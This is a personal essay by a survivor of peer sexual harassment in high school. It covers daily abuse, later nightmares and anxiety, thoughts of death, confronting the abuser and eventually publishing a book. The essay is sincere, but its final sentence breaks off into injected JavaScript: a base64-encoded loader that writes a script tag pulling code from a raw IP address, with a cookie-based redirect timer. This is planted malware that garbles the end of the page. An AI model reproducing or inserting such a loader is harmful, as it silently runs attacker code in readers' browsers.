128 – Mandy

People try to tell kids that words are just words; but, if words were really so insignificant, they wouldn’t have the effect they have on us. Kids know this. Those of us who have been abused know that words frequently precede or accompany actions. That knowledge is what makes psychological abuse so scary. Every day of high school was a day spent facing taunting, yelling/whooping, “friendly” hellos, leers, sneers, casual touching on the arm or back, suggestive touching, crowding against a wall, leaning over my shoulder in class, dogging my heels in the hall, pushing or being pushed into me, suggestive comments, asking me out, rumors of a relationship and/or sexual relations, aping/grabbing at me, “Why don’t you like me?”, “Let’s be friends.”, “So-and-so likes you. He wants to know if you want to go out sometime.”, attempts at casual conversation as if we’re friends and the above things aren’t happening, and the list could probably go on. Every single day, except for maybe a half-dozen.

Two years after graduating from high school, the nightmares began. There were flashbacks, anxiety attacks and chronic acid indigestion. I would start crying for little or no reason, would have a near anxiety attack at the sight of someone who even looks like him and would pray often for death. Obviously, that prayer was answered with a no… I wish I could say that I had someone to lean on, someone to talk to through all this, but the fact is I didn’t. The few who might have cared didn’t understand and I didn’t want to burden them with something I could barely handle myself. Never mind the idea of opening myself up like that to someone who may or may not understand and might blame me for it all. Within the first year, I started researching and writing about peer sexual abuse. I needed to know why peer sexual abuse happens, why it’s allowed to happen, and why it had come back to haunt me years later. About three years after the nightmares began, I started trying to change my personality, my thought processes, etc. I knew, based on the location of my job at the time, that I would see him again. It was just a matter of when, and I didn’t want to fall apart when I did. I didn’t want him to know how afraid I was of him, or how much of an effect his actions had had on my life. I knew without question that his knowing this would start it all over again, but worse than before, and this caused me to wonder why I thought I couldn’t handle it if he did. I started telling myself that the dreams weren’t real–that the events in them were based on things he did, but the amount of fear I felt was all me. When others made flippant comments about abuse or that supported society’s views on abuse, I spoke up and, over time, coached myself toward doing so with confidence. After a while, I decided I had nothing to lose by contacting him, so I did. In fact, I wrote to every person who had abused me in high school, as well as a teacher, an assistant principal, a principal and my father. Maybe six months after sending this letter to him, I saw him in the drive-thru where I worked and, in the space of a one-minute dialogue, had all my suspicions verified. He was thrilled to see me and I knew I would never be rid of him if I didn’t put my foot down then and there. I wrote to him again and told him to stay away from me. Another several months later, I saw him again and put him on trespass notice, following through by letting mutual friends know. I still dream about him on occasion, but the dreams aren’t filled with fear anymore, nor are the days that follow ruled by that fear. I’m not there yet by a long shot, but I’m happy to say I’m a lot closer than I was.

Nine years after graduating from high school, I’m a published author. My first book isn’t accurate of my experience in school, but it is representative of the bullies, the teachers/administration, what was done, what I wish had been done, and what I feared would be done. Right now, it’s being read by a member of the school board in the district I graduated from. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘